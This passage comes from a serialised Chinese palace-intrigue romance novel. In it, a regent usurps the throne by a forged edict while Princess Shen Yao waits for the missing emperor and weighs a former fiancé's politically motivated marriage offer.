到达皇宫时,沈遥一眼就看出,整个皇城的军队,都被北庭节度使的人所替换。世风日下,所有人都想着保命,何曾敢为了“忠诚”二字反抗半分,想必禁军统领已经投靠了宋禾。 执政者,谁有军队谁说了算,更何况宋禾此番并不是明面上的造反,而是矫诏。 侍卫将沈遥拦下,看着她身后跟随的长公主府亲卫以及锦书,面色冷漠道:“殿下,摄政王下令,除了殿下外,一切人等皆不得入宫。” 锦书登时便不服气,“殿下随行们入宫,乃是陛下曾经亲自准许的!况且,宋禾怎么就成……” 摄政王了? “锦书!”沈遥眼神闪过凌厉,立刻阻止她继续说话,“别多嘴。” 侍卫无动于衷,“殿下,莫要让属下为难,一切都是摄政王的命令。” “知道了。”沈遥自然也能理解,她所有亲卫加起来,也挡不住节度使数以万计的军队,自不会自不量力与其抗衡。 她转身道:“你们都回府,锦书和马夫留在宫门便是。” 锦书咬唇,见她坚定,便也不再过多阻碍。 侍卫见状,不再阻拦,让开宫门,由沈遥单独进入。倒是来了一个宋禾身边的内侍带着引路。 皇宫沈遥来过很多次,甚至在宋衍刚登基时,便都被她给逛腻了。她对这里万分熟悉,看着走在侧前,低着头弓着腰,慌忙行路的内侍道:“这里不是去太极殿的路。” 内侍没有回头,只是微微侧脸,依然低着头,很是恭敬:“回殿下,是王爷下令,先带殿下说一番话。” 沈遥心下不安,却也没有反驳,只是跟随着他一路来到暖阁之中。 这一路上,满是军士,可见所有人都已在宋禾掌控之下。 到达暖阁时,宋禾早已在里面等待。 他斜躺着,在脸上戴了半张金色面具,身旁跪着两个宫女,一个为他按头,一个为他剥葡萄。 见沈遥终于来后,挥手让人退下,并指了下对面,示意沈遥落坐。 “殿下可算来了,本王等了你许久。” 他亲自斟了一杯猩红的酒,推到沈遥面前。 沈遥只垂眸扫视一眼,并未碰触,“你特意找我来此处是为何?” 说起正事,宋禾坐直了身子,看着沈遥阴笑,“殿下既然来了,定然早已猜晓才是。” 沈遥沉默。 宋禾并不 在意,继续道:“本王和父王一样,与宋衍不同,一向注重名声,包括此次入京,没有人觉得是造反。” “可是,那些老臣们,毕竟和百姓不同。有的老臣太聪明了,没那么容易糊弄,特别是被刀枪指着鼻子之后。” 沈遥瞬间便明白过来,“所以,你想用我长公主的身份,承认你的执政地位。” “和聪明人说话就是简单。”宋禾抬起酒杯朝她举了下示意,“原本殿下在长安的名声因为流言烂了,可无奈的是,殿下这五年间的名声累积实在太好了。即便大部分长安的人相信了流言,可却仍有不少的人,特别是整个大周,都在支持殿下。” “如此一来,就算本王想将殿下送去和匈奴和亲,也做不到了。” 这是沈遥的底气,她在整个大周所建立的声望。 再加之曾经宋衍所赏赐的权利,她不比太极殿中的任何一个朝臣差。 沈遥冷眼,“我凭什么配合?凭你的刀枪?你觉得我怕死么?” “殿下自是不怕,本王很早就知道了,可是……” 宋禾顿了一下,终于恶劣地笑起来,“梁国夫人,殿下不在乎了吗?” 沈遥呼吸停滞了半拍,案几下的手指捏紧了身上的裙衫。 “姨母回来了?” “就在宫中。”宋禾点头。 沈遥讽刺一笑,“所以当初与匈奴的冲突,失了十多座城池,都是你联合外邦所导得一出好戏。” 宋禾耸了耸肩,在她面前也没什么好掩藏的,“否则又如何将宋衍引到北部战场呢?” 沈遥道:“我要见姨母。” 宋禾皱眉,似乎对此不满。 沈遥垂眸,手捏起桌上那只酒杯,朝着他敬了一下,而后将一杯猩红的酒水一饮而尽。 酒杯“啪”一声被重重拍回,“见到姨母无恙,我就跟你上太极殿。” 宋禾盯着她唇边淌出的一两滴酒液,眨了下眼,应下她要求。 姨母似乎受了些伤,此刻正躺在一寝殿中安眠,周围是照料的太医,以及围满的侍卫。 虽然看上去好似无事,可情况比沈遥想得更加复杂。姨母在宋禾手中,如此一来,姨丈虽手握重兵,却也不敢轻举妄动。 “人见到了,太医说她只是需要休息,并无大碍,如此,殿下可满意?”宋禾站在她身侧,偏头看向她面无表情的侧脸。 沈遥一言不发,转身往太极殿方向走去,宋禾笑笑,三步并作两步到她的前面领路。 整个长安城中,七品以上的官员都被聚集到了太极殿中,密密麻麻一片。重甲侍卫持刀站在众人身后,将所有人包围一起。 没有人敢轻易发声,生怕被抹了脖子。 “我、我想如厕了。”一老臣脸皱成了褶子。 身旁的另一老臣压着嗓子道:“忍忍,没看到这么多守卫啊。别忘了当初陛下打入长安时屠灭了多少著姓氏族,如今这摄政王来了,看似没流血,可性子怕是与陛下相差无几,想想你家上百口人,别一不小心全部人掉了脑袋。” 这么一说,周围两三个人面面相觑,想如厕的连提都不敢提了。 “诶,摄政王来了。” 众人转身望去。 “那不是长公主么?怎么和摄政王一同来了?” 所有人视线交接,开始变得不明所以。 宋禾在众人的注视下,径直上前,竟直接落座龙椅之上。这一举动,明眼人都看出来,这大周皇帝要换了。 内侍在旁高声唱出诏书,却无一人应答。 宋禾半张金色面具下的神色一冷,看向站在正中的沈遥。 沈遥身着特定服制,紫衣绣凤,上前行三跪九叩大礼,“臣参见摄政王殿下,既是陛下亲下诏书,臣定紧遵皇命。” 所有人都知道沈遥与宋衍之间密切的关系,再加之她的身份,若她都承认了这诏书,他们这些老臣岂能再与摄政王做对。 “臣参加摄政王殿下——” “臣参加摄政王殿下——” “臣参加摄政王殿下——” 宋禾露出心满意足地笑容,“众爱卿平身。” 还未等他说话时,沈遥又道:“敢问王爷,如今北庭节度使的军队都来了长安,那我大周北部岂非守卫空虚?” 此话一出,原本就心怀不满的老臣也跟着附和起来,“殿下此言有理,若是匈奴趁此时机攻伐我边境,该如何是好?” 见宋禾沉默,沈遥又继续道:“还有,当今陛下在何处?为何过往一月都未得见任何战报?既然王爷从北部过来,可否将细节告知?王爷虽是执行陛下诏书,又为何要带着所有的北庭军队入主长安?” 此话一出,像是起了头一般,大胆的朝臣们纷纷私下交谈起来。 宋禾面具下的脸抽搐着,又放声大笑了两下,最后道:“本王亦是万般遗憾,陛下御驾亲征,却遭了匈奴埋伏,如今依旧下落不明。本王也是担心此消息会引起长安动乱,才一直压着消息。” “身为陛下兄长,本王比任何人都要担心陛下安危。” 沈遥笑道:“这么说,王爷带军队来,是担忧长安因陛下失踪一事而动乱吗?” 宋禾咬牙,“自然。” 沈遥又道:“如今,我们这些臣子已经认可了这份诏书,此番王爷代理朝政,也无提出质疑,王爷是不是应该让北庭节度使,带着他的军队回云中城驻守边境了呢?” 宋禾:“……” 沈遥:“既然匈奴如此凶残可怕,当初一周内就夺我大周十多座城池。此时若是叫他们抓住空隙,岂不是能直入我中原腹地了?” “是啊。”此话一出,朝臣们纷纷点头附和,眉眼间充斥着担忧。 宋禾顿了好一会儿,才又阴翳地笑了起来。 勾结外敌乃是重罪,别说他还未登基,就算是登基了,此事一旦暴露在所有人面前,便是千夫所指。 届时,谁知又会有什么异心者趁机抓住把柄造反。 好烦。 宋禾深呼吸一口气:“永乐殿下所言甚是,本王这就让崔将军带兵撤回。” 这日的紧张终于在太极殿侍卫撤走后松了下来。 宋禾此番说法也是,这些看守都是为了保护众朝臣,防止骚乱。 聪明人都看破不说破。 沈遥往宫外走时,一熟悉的声音在她身后响起:“诺诺——” 她一怔,转头看去,果然是宁梓谦。 沈遥讽刺一笑,没有回话,静静看着他朝自己走来。 几年不见,如今宁梓谦身上多了几分经历战场岁月后的风霜,稚气全无。 宁梓谦感受到空气的凝滞,半晌说不出话,直到见沈遥没了耐心要走时,才又忽然开口:“诺诺,这些年不见,你还好吗?” 沈遥情绪没什么起伏,没有回答他问题:“听说将军娶了白家姑娘,如今一儿一女,恭喜宁将军。” 宁梓谦在节度使帐下,如今已是副将,很难想象,五年前的他还是那个单纯不知世事的小公子。 宁梓谦面色更是滞住,许久才“嗯”了一声。 “对不起,诺诺。” 沈遥道:“我以为五年前就说过了,不要和宋禾混在一起,你当时答应我的。” 她哂笑,“不过我也确实没想到,北庭节度使原来这么早就投靠了宋禾。” 宁梓谦久久不语,天空又暗沉了几分。 “诺诺,当初我又能如 何选择?你知道的。我父亲没了,大哥没了,宋衍狗贼于我不仅有仇,更有夺妻之恨。” “宋禾此人,对宋衍来说是毒蛇,可于我来说却是救命稻草。” 沈遥语塞,心底憋了口闷气。 宁梓谦:“诺诺,这日子总得过下去。无论如何,我都无法原谅宋衍。我已经失去你了,为了报仇,除了娶节度使帐下的白家女儿,我还能有什么选择?” “诺诺,你从始至终没有爱过我,我不怪你。可若你站在我的立场上,你如何能不恨,如何能不去复仇!” “我身为宁家顶梁柱,身为一个丈夫,两个孩子的父亲,除了复仇,我更是要为他们所有人撑起一片天。曾经被宋衍所掌控的那种无力感,我早就受够了!” 沈遥说不出一句反驳的话,因为他所说的一切都没有错。 是她抛弃了他,是她的不负责任将他害到此般地步。当初宁家倾尽家财助宋衍上位,是她先说服利用的宁梓谦,可宁家却没得到应有的回报。 谁都可以指责他,可她不配。 最后,她只能干巴巴地说一声:“对不起。” 宁梓谦苦笑:“我不怪你,诺诺,我永远都不会怪你。” 他长叹,“不过此次政权更迭,我发誓我会护你周全。” 说完后,他便朝着她颔首行礼,转身离去。 沈遥站在原地看着他离去的背影,心脏在痉挛。曾经那个善良与正义的少年,真的已经不在了。 如沈遥预想中一样,宋禾只将七成的北庭军队,由节度使带领下送回云中城,还留下了三成驻守长安。 数万军队,就算只有三成,也比原本的禁军数量多,更何况,禁军早已叛变。 她试图写信给甘州的姨丈,却被截了回来,而宋禾又是派人来长公主府中一番要挟。 如今长安城彻底封锁,没有命令,任何人不得随意进出。 锦书一边为沈遥梳头,从铜镜中望着沈遥的脸道:“殿下,已经查出来,那流言的源头是、是……” “是沈芯,对吧。”沈遥直接说。 锦书一怔,“没想到殿下已经知晓。” 沈遥道:“当初流言刚起,我便猜到了。后来宁梓谦和宋禾入主长安,想到沈芯曾经来寻我试探宁梓谦,我便更加确信。她早就投靠了宋禾,只是其目的为何……” 锦书猜测:“定是宋禾许了好处。” 沈遥:“沈芯想要的东西其实很简单,就是压我一头。既然如此,要么许诺她大长公主之位,要么许诺后位。可是,后位又不大可能。” 锦书不解:“殿下为何这般猜测?” 沈遥道:“一来,如今宋衍只是失去了踪迹,既然天子还尚在人间,宋禾又注重名声,便不会轻易作出称帝之举。” “二来……沈芯没什么利益能带给宋禾。” 锦书:“可端静公主,不同样是河西节度使的侄女?” 沈遥讽刺一笑,“牵制河西节度使,姨母一个人就够了。而沈芯除了与他们有血缘,实则并无感情。娶了沈芯,拿不到河西的兵权。” “而对宋禾来说,与其娶一个沈芯,不如……娶北庭节度使的女儿。我听说北庭节度使有六个女儿,总有一个能做皇后吧。否则节度使凭什么拼死拼活为宋禾称帝而出力。” “殿下果真聪慧。”这些天府中所有人极为阴郁,锦书试图拍她马屁。 沈遥随便朝她勾了下唇,“我若真的聪慧,便不会落到如今寸步难行的地步了。” 锦书又是一声长长的叹息,“宋禾执政已是半月,如今整个长安城中,虽然百姓的生活都继续着,却也是人心惶惶。” 沈遥看着铜镜中的自己,自然想到了五年前,宋禾在她面前说出的那番理念。 构建一个巨大的桃花源,不是一镇,一城,而是整个大周。 他确实在做,只是手段叫她难以评判。 宋禾执政三日,便颁布了新的律法,整本律法堪称严酷。 偷盗了二两银子的小偷被判死刑。长安城所有的乞丐被统一关押,不知藏去了何处。与情夫偷情的女子被五马分尸。稍微写诗贬低此律法的书读人被判当众绞死。 短短两周,天牢已经人满为患。 如此一来,没人敢轻易作恶,好像整个城中,一片祥和,所有人胆战心惊,生怕一不小心,便又触犯了哪条刑法。 可是也冒出了许多宋禾的拥护者。 这些人自称白鹤信徒,那些因杀人罪被判刑的囚犯,成了白鹤组织祭祀血鬼的祭品。 城中设立了一处专门的祭台,死刑犯们被绑在木桩上,掏空内脏,抽干血,在太阳下暴晒,直到成为一具干瘪的尸体。 沈遥曾去看过一次,差点儿直接吐出来。 那场面实在太过血腥,就算回到府中,那股浓郁血腥和尸臭还在鼻腔蔓延。 后来一想,她明白了,这是宋禾用恐怖来震慑百姓的某种手段,打着为百姓除恶的名头。 沈遥觉得,刑律与祭祀,都过犹不及,如此强行打造一个桃花源,哪里还有正确所言? 执政第三周,宋衍死讯从边境传回。 第66章 第66章不是姐弟的喜欢,是对一…… 回来不仅是这消息。 据说,找到了宋衍尸体,随棺木一同,被重兵护送回长安。 宋禾借机登基称帝,并开始了国丧。 棺木入城那天,沈遥去了朱雀大街,满街的纸钱,和飘散的白色绸带,所有人都对着那巨大的棺材痛哭流涕。 天空下了春雨,似乎连上天都在替英年早逝的皇帝所哀悼。 沈遥心脏好像停止了跳动很长的时间。 至今不敢相信,那个男人,就这样死了? 沈遥在街上站了很久,锦书在她身旁举着油纸伞默默陪着。 直到看不见棺木,街道上的人群散去,她也仍久久未曾回神。 即使在曾经最恨宋衍的一段时日,她也从未真的想要他去死。 她是他唯一的亲人,可他又何尝不是她的亲人? “殿下?”锦书见雨下的愈大了,看着沈遥平静的神情,更是担忧起来。 沈遥收回视线,轻轻摇头,低喃道:“不可能。” 锦书万分心疼,“什么不能。” 他不可能这样轻易就死了,沈遥心道。 她再次摇摇头,“回去吧,再等等。” …… 国丧后的一月,天气渐渐暖和,新帝又举行了国婚,甚为隆重。 北庭节度使嫡女崔若,被立为皇后。 与此同时,大周与匈奴停战讲和,端静公主将前往塞北和亲,以修两国邦交。 永乐长公主府的大门被敲响,固执一声一声,来人不肯离去。 一个时辰后,锦书再次到内室通禀:“殿下,端静殿下又来了,说是想探望殿下。” 沈遥按压着头从床上起身,“派去云中城的人又消息了吗?” 锦书沉默许久,最后摇摇头。 开棺视为不吉,特别是一国之主的身份。 当日,宋衍尸首被送回长安后,根本没人能够真正见到尸体。沈遥往宫里抵了好几次折子,都被一一打回。 头七过后,被钉死的棺木便被下葬,送入黄陵。 自那之后,沈遥更不相信宋衍的死讯了,立刻安排了自己的亲卫,将他们悄悄送出长安,去北部寻找任何蛛丝马迹。 然而这么多时日过去,却什么也没找到。 沈遥整日整夜失眠,昨夜睁着眼睛一直到天光渐亮时,才终于睡去。 “让沈芯进来吧。” 沈遥在花厅接见了沈芯,许久不见,沈芯竟是更瘦了。 她站在正中跺脚,转头看到沈遥来,着急地扑了上去,抓住沈遥衣摆跪地哭诉起来:“阿姐!阿姐!救救绵绵啊!” 沈遥蹙眉抓着她的手臂,“你快起来,你身为公主,这个样子成何体统?” “我不要体统了!”沈芯哭得一把鼻涕一把泪,“阿姐,我错了 ,你原谅我好不好!你救救我啊。” “我不要去和亲,我不要北疆那种蛮荒之地,更何况,那老可汗都已经六十了啊!” 沈遥无奈长叹,“当初你帮助宋禾的时候,就应该要想到有这一日。” 沈芯道:“阿姐,我真的没想到,宋禾此人竟如此阴险狡诈,出尔反尔。” “他当初允诺了你什么?” 沈芯一时顿住,最后道:“……皇后之位。” 说到此,她越想越恨,“谁曾想,我前脚帮他,后脚他就娶了崔若那女人!” 沈遥拉着沈遥起身,坐到一旁藤椅之上,对这个蠢笨的妹妹无话可说。 “当初宋禾给你的承诺,你若细想便能明白,那么多人,他要娶的定然是对自己最有利的那个女人。你觉得自己是河西节度使侄女,便能抵得上已经助他成事的北庭节度使嫡女了?” “……” “况且,我也救不了你,你看如今我连宫都入不得,身不由己,你说我能如何救你?” 沈芯摇头,此次也是死马当活马医,“阿姐,你去找宁梓谦呢?宁梓谦如今颇得宋禾信赖,他帮忙,说不定就有用了呢?” 看着蠢妹妹面如死灰,整个人失去光泽,沈遥无奈道:“绵绵,从小到大,阿姐都一直无意与你争夺什么。” “你天生弱症,我是心疼的。家中母亲父亲都因此更加偏心你,你时常嫉妒我,又何曾知晓,我也嫉妒着你呢?” 沈芯顿住,眼泪金豆子滚落到地上,“……阿姐。” 她双手捂住脸,“阿姐,我错了,我真的错了。阿姐,你救救我,求你了!” 沈遥:“如今我也只能等待着宋衍从边境回来。” 沈芯一怔,低着头摇头,低声道:“回不来了。” “什么意思?”沈遥心底一个咯噔。 沈芯道:“陛下御驾亲征,十万将士,被四十万匈奴和叛军埋伏偷袭。四十万啊,陛下的军队全军覆没了。” 沈遥手指一颤,竟被藤椅旁的倒刺刺破了手指。 “四十万。” 沈芯闭上眼,不敢去看她表情。 沈遥却依旧没什么反应,平静道:“别哭了,这样。若是你能帮我将姨母从宫中带出,我便找宁梓谦试试。” 虽然知道沈芯成功的机会很小,但沈遥还是想尝试。 她告诉沈芯,“这是你弥补过错的机会。” 如今登基大典早已举行,似乎一切已成定局。 长安封锁令也解除了一段时日,只是沈遥出行,仍有宋禾派出的暗卫跟随监视。 沈遥坐着马车,出了城,去了一趟葫芦镇。 令她没想到的是,上一次离开葫芦镇时,街道上都没有人,甚至不少人被驱逐出镇,如今葫芦镇开放后,反倒不少外人搬入了镇中。 街道上人来人往,好像和曾经她第一次见到镇子时别无二致。 入了春,河边柳絮飞扬,熟悉的小桥流水,一旁是小酒馆,酒客们坐在门前喝酒谈天。伶人馆也恢复了原本的样貌,奏乐不断,异香弥漫。大娘又在追着踩坏自家菜的小黄狗大骂。 沈遥推开时府大门,里面却与外面不同,久日无人打扫修缮,四周都是被翻倒的桌椅板凳,院中杂草丛生,屋檐处的鸟儿建了巢,安了家。 时过境迁,陌生又熟悉。 忽然一股春风拂过,外院早已盛开的梨花树飞落大片花瓣到沈遥跟前。 她坐到梨花树下,侧头将落在肩上的花瓣捡起,放到嘴中嚼着。 “给……阿姐。” 沈遥猛地抬起头,面前却空无一人,只有不断落下的花瓣,和寂寥的院落。 是她产生了幻觉。 某一瞬间,沈遥心脏抽疼了起来,好像被捏碎了一般,同口中的苦味合在一起,难受极了。 但是她没哭。 她在花树下坐了整整一日,一直到阳光变得越来越黄,才终于起身离开时府,往葫芦镇外走。 “时夫人!” 是有些熟悉的声音,沈遥一怔,偏头往一侧看去,竟然是抱着老胖橘,站在炊饼铺子下的叶家姐妹,刚才喊她的人是叶灵。 沈遥吃惊地走去,看着她怀里的猫儿。 叶韵拍了一下叶灵胳膊,无奈道:“这是永乐长公主殿下,你怎能称呼时夫人?” “哦,殿下。”叶灵鼓起了腮帮子。 沈遥莞尔,没想到她们姐妹还是这般,竟从未变过。 “你们,你们怎么会在此地?” 她一直以为,这两姐妹被宋衍关起来了。 叶韵笑笑,“当初这个不成器的妹妹,不听上面人命令,所以我们被赶出葫芦镇了。不过好在,给了我们不少银子,后来,我们便回了陈州。” “在葫芦镇住习惯了,离长安近,却又山清水秀,回陈州去后竟万般想念这边,两年前,听说葫芦镇已经对外开放,于是我们又回来了。” 叶灵低着头,“回来后听闻永乐长公主大名,一直没跟时夫人对上,直到那日去长安见到你,才知道你真实身份。” “应该称呼殿下,你怎么回事?”叶韵对这个妹妹实在不打不成器。 “不碍事。”沈遥扯了下唇角。 想到什么,叶韵眉眼间滑过一丝痛,“国丧大家都守了,殿下,节哀。” 沈遥面上却依然很淡,她又忽然一笑,“他还没死,我等他回来。” 叶韵明白过来,“殿下,真的很喜欢他。” 沈遥一怔,一时语塞,竟不知如何反驳。 她没有说话,只是又带着锦书转身离开。 她真的,很喜欢他? 不是姐弟的喜欢,是对一个男人的喜欢吗? …… 两日后,沈遥听到了关于沈芯的消息。 她失败了,被宋禾的人抓个正着,姨母被转移。好在沈芯对宋禾来说还有和亲的价值,并未怪罪她,直接将人放出宫。 沈遥心里失落,却还是找来了宁梓谦,请求他去说服宋禾和亲一事。 宁梓谦应下后,翌日又来了长公主府。 “他拒绝了我的请求。”宁梓谦直接说。 沈遥无奈,又讽刺一笑,“一定要送端静去和亲吗?我们大周,竟如此低声下气了。” 宁梓谦道:“陛下自然有陛下的考量。” 他想了想,还是与她解释,“诺诺,此次和亲或许也不是坏事。” 沈遥不解。 宁梓谦继续道:“虽然可汗年纪不小,却是一方英雄豪杰,嫁给这样的英雄,不亏。” “况且,大周与匈奴关系一直都很差,不是这一两年的事,而是十几年,几十年。因着两边战乱不断,边境的百姓日子过得真的很苦。虽然端静委屈了些,可这能换来两国和平,换来百姓安康,又何尝不是好事?” 沈遥道:“话是如此,可我不相信宋禾,更不相信匈奴。他能勾结匈奴,将大周十多座城池送出,今日和亲,难说明日又要土地。人心不足蛇吞象。” 宁梓谦低下头,面上有些惭愧。 这些年在边疆,他看得其实最清。北庭节度使利用两国恶劣的关系,私下勾结匈奴,时不时打几场假仗,以此获得朝廷的拨银和粮草,并用来和匈奴分成。 刚开始他对此极为不耻,可后来也渐渐看不清了。 正是因此,匈奴对边境小城的烧杀抢掠少了很多,他说不清,究竟什么是错,什么是对。 所以即便宋禾与节度使勾结匈奴,他也助力了。 “对不起诺诺。”宁梓谦说服了自己,“我已经尽力了。” …… 云中城外山中一村落,名容广村。 此处偏远,靠近边疆地区,又在深山之中,与外界交往极少。 村民淳朴,自给自足。 溪水边聚集了涣衣的女人们,都在互相交谈着,“天气可真是越来越好了,这溪水摸着也没前些时日冻手。” “可不是。诶,你们听说了吗?外面已经改天换日了,皇帝换人了 。” 边远地区人听到从长安传来的消息都不容易,可也有人会时常去到云中城中卖菜,采买货物。 说这话的女人,家中男人就总往返云中城。 “听说,是御驾亲征遇到埋伏,全军覆没了。” 此话一出,众人面露惋惜,“诶哟,那可真是……” 她们不敢谈论太多此事,便又换了话题,“诶,王审,你家在山里捡的那个重伤小郎君,怎么样了?” 王婶说起此事便来了趣,“诶,伤都养得差不多了,就是……好像伤了脑袋,许多事都记不得了。” 王婶将洗完的衣裳丢到木盆中,站起身,“好了,时辰不早,我也差不多得回去了,家里人还得等着吃饭呢?” “哟,吃饭,莫不是回去看着那小郎君,给女儿凑机会。” “嗐,别胡说。这小郎君俊俏是俊俏,但家世背景都不清楚,怎能随意配我女儿。” 众人耸耸肩,不再打趣。这王审女儿是个哑巴,大家都知道,想要许好人家,难得很,就这还挑三拣四。 王婶回到家后便利落地做了几个菜,将人从屋里喊出来吃饭。 待一家人下箸后,对面的俊俏郎君终于开口,声音温和,“这些时日打扰王婶了,已数月有余,某身子渐好,也不便多打扰。” 说着,他从怀中掏出一块玉佩,放在桌上,表示谢意。 王婶一怔,看了下身旁的哑巴女儿,虽然与那些婆子是这样说,可她心里却是想要撮合的。 “小时,不用这么客气。你……恢复记忆了?” 宋衍顿了顿,道:“一部分吧。” 他看着对面妇人手在桌下悄悄拍打哑巴女儿的动静,不动声色垂眸,道:“我忆起自己家在何处了,如今家中妻子定然等得急切,是该早些回去。” “啊……小时你已经,娶妻了啊。” “嗯。”宋衍颔首,“娶妻快六年了。” “啊……小时的媳妇儿,是个什么样的人?” “她?她很漂亮,敢爱敢恨,善良,又有勇气。”宋衍说到此处,如沐春风地笑了一下,“她是这世上,对我最好的人。” “这样。”王婶长叹,没想到这俊俏郎君就这样要走了,但既然如此,也不好拦,“那也好,快些回去,省得家人担忧。” 宋衍没再耽搁,回到小茅草屋中收整行李。 与此同时,南风不知从何处冒了出来,没有惊动任何人,“陛下,北庭军队一部分回了云中城,可应该还有不少军力留在长安。” 宋衍没什么情绪地“嗯”了一声。 当初十万军队被宋禾四十万埋伏,全军覆没,是他一时不察所造成的错误,更是宋禾那厮竟然不顾百姓,勾结匈奴的结果。 他一路重伤逃进山林中,待事情在两日后逐渐平息,本想跟着北斗七星方向走出山林,哪知竟撑不住,昏了过去。 再醒来,是在容广村。 后来得知,是这家王婶的哑巴女儿在山上采药时见到他,将他背了回去。 他感受到自己伤势不轻,虽然都是外伤,却也难以行动。在休养数月后,总算彻底痊愈。 而这期间,南风不懈努力下,也终于找到他,告知了如今大周和长安城的消息。 南风担忧道:“如今整个长安都在宋禾控制之下,再加上梁国夫人也被宋禾抓在手中,我们回去后,如何才能揭发?” 宋衍收完东西,侧脸扫他一眼,有些无语。 最后道:“直接将宋禾杀了不就行了?难道有朕在,北庭节度使还敢篡位不成?” “派人去联系河西那边,还有幽州,集中兵力,告知朕还活着的消息。” “是。”南风不再犹疑,领命后便离开此地。 宋衍一身青衣,跨步走出茅草屋,往天上看了看。 数月了,该回长安了。 …… “殿下,宁梓谦又来了。”锦书有些无奈。 这宁梓谦几乎日日都要来永宁长公主府找沈遥,有时带来烤鸡,有时带来糖葫芦,好像还如曾经那般与沈遥相处。 沈遥依旧很平静,“替我梳妆。” “是。” 锦书为沈遥挽发,这些时日的沈遥一直都没什么情绪。可锦书却能感受到,看似平静之下,其实掩藏着汹涌,只不过被她强行压下了。 沈遥直接在庭院中接见了宁梓谦,对方见到她后直接笑了起来,好像什么都未改变过一般。 宁梓谦将手中油纸包着的鸡腿帮沈遥手上一塞,“诺诺,醉香居新烤的,我买到后就立刻拿来了,生怕冷了。” 沈遥手紧了一下,没有吃,“宁将军,不带回去给宁夫人吗?” 宁梓谦一滞,干笑两声,“她啊,她不喜欢这个。” “那源儿和月月呢?” 源儿和月月是他的一儿一女。 沈遥总觉得,宁梓谦来的太勤了些,好像忽视了家人。 宁梓谦尴尬道:“源儿和月月还小,郎中说要少吃油腻之物。” “唔。”既然如此,沈遥也不好多说什么。 但她还是道:“我担心宁夫人和孩子们受了冷落。” “不会。”宁梓谦摇头,回答地很快,“岁岁说,她一直倾慕长公主,若是能见着长公主,就更好了。” 宁梓谦又想到什么,沈遥还没回复,他道:“诺诺,如今长安城中关于你和……的流言已经在压制了,可管得住嘴,却管不住人心。” “再加上,诺诺,你不是想要救梁国夫人出来吗?” 沈遥不解,“宁将军,你究竟想说什么?” 宁梓谦犹犹豫豫,又不断深呼吸,想要吐出的字眼又收回,最后呼出一口气,鼓足勇气道:“诺诺,若是你能嫁给我,便能平息流言,同时,宋禾看在我们接亲的份上,定会放过梁国夫人。” “什么?”沈遥一时匪夷所思,连话都忘了说。 宁梓谦继续道:“诺诺,宋禾信任我,我是他的人。若是你我结亲,这样河西节度使就会是我岳丈。” “如此一来,他便没有扣着梁国夫人的必要了。” “当然,等送走梁国夫人后,若诺诺你想和离,我们就和离。我不需要真的将河西军收入帐下,诺诺,你相信我吗?” 沈遥眨了下眼,“你……你说是娶我?那你夫人?” 宁梓谦道:“诺诺放心,我和岁岁说过了,娶你做平妻,她高兴还来不及呢。” “你……” 宁梓谦面露紧张,“都是为了救梁国夫人,诺诺。” 沈遥垂眸,闭上眼,没有直接拒绝,“你让我再考虑考虑。” 第67章 第67章他会回来的 “好,不着急,我等你。”宁梓谦见沈遥没有立刻拒绝这提议,心底松了一口气。 他心情忽然变得很好,脸上带笑,一路往宁府回。 这熟悉的长安街道,不知为何,今日竟看起来格外顺眼。 只要沈遥不立刻拒绝,他就有把握,为了韩秀华,沈遥总会有答应的一天。只是或许,需要宋禾在韩秀华身上加把火,刺激一下沈遥。 一直到回了府中,宁梓谦脸上的笑容还未褪下。 他直接去了书房,却见白岁岁站在房中等待。 “你怎么来了?” “我怎么来了?”白岁岁转过身,朝着他讽笑,“夫君,你又去找她了?” 宁梓谦有些心烦,拉了拉衣领,“都是正事,是陛下吩咐的正事。” 白岁岁冲上来拉住他的衣袖,双眼泛红,开始流泪,声音歇斯底里,“什么正事?要你每天都去那长公主府?” 她死死抓着他的衣袖不放,一时用了好几成了,将宁梓谦身上的衣衫都给扯开,宁梓谦闭眼抓住她的手,将手扯开,“岁岁,别胡搅蛮缠了。自然是关于河西节度使的正事。你若不信,亲自进宫去问陛下。” “我还有公务要忙,你不去陪孩子,没有我允许跑来我书房像什么样子。这次暂且算了,再有下次,我可不允。” 白岁岁见他是真的生气了,不敢再逆着他的意思来。 成婚五年,她爱得愈发卑微起来,而她也眼见着丈夫从曾经那个单纯的模样,逐渐变了色。 明明丈夫没有纳妾,也时常陪伴孩子,可她却一直都在怕。 原本她不怕的,她多自信的一世家小姐啊。可自新婚夜后,她爱上了这个男人,却也感受到,这个人心底住了另一个女人,住着那个曾经世上最尊贵的长公主。 一日日的嫉妒,冷漠,将她世家小姐的端庄和体面彻底撕碎,她真的是卑微到了尘埃里。 白岁岁努力压下心底的难受,将眼泪擦去,牵强地带起笑容朝着宁梓谦走去。 “你怎么还在这儿?”宁梓谦从书架上拿下兵法,翻阅着。 “我怀孕了。” 宁梓谦一怔,手中的书掉在地上,他转身看着面带幸福笑容的她,一手摸着小腹。 他视线落到她小腹上,“又怀了?” “夫君,不高兴吗?”白岁岁声音很软,但更多的是恐惧与期待。 宁梓谦感觉一口痰哽在了喉咙,说不出来自己的感觉。 他长叹一声,上前揽住她瘦弱的肩膀,将人靠到自己怀中,眼神却冰冷,“高兴,又有孩子了,怎么会不高兴。” 白岁岁心底的巨石放下,“夫君高兴就好。” 宁梓谦扯了扯嘴角,“那你在家得安心养胎,莫要整日胡思乱想。你想吃什么,我明日从外面给你带。” 白岁岁被幸福砸晕了头,她抬起头看着他的下颌,看不清他面上的神色,“我想吃醉香居的烤鸡腿。” 她其实不喜欢烤鸡腿,可她知道,那位长公主喜欢。这几年来,她了解了长公主所有的喜好,穿着。她试着让自己越来越像长公主,因为好像每次只有这样,丈夫对她才会更加温柔几分。 果然宁梓谦笑了,声音充满了柔和,“好,明日给你带。” …… 沈遥一直没有回复宁梓谦提议,可不知为何,长安城中竟开始传起了新的流言。 永乐长公主即将以平妻身份嫁入宁家。 虽然大家对此秉持着不同的态度,有人说是新帝为了收复河西兵权。毕竟北庭节度使已经离开长安,如今整个长安,最得信任的便是这新晋辅国大将军宁梓谦。 也有人感慨两人多年前未完成的婚约,金童玉女,两小无猜,或许是如今相遇后干柴烈火,便不顾任何也要重新履行婚约。 当然,更多人认为两者都有。 “我平日在长公主府附近摆摊买货,每日都能见到,那宁大将军整日都往长公主那儿跑。如此看来,必定是已经私下有了情。” 茶楼中茶客们压着嗓子,纷纷交谈着这则流言。 “诶,不是说,这长公主与先帝之间有不伦之情吗?” “嗐!你觉得若真有那不伦之情,如今还能跟宁大将军重新结合?” 茶楼中纷纷扰扰,鱼龙混杂,有些吵得头疼。 偏僻角落处两个戴着笠帽的人安静饮茶,似乎这混乱的环境与他们无关一般。 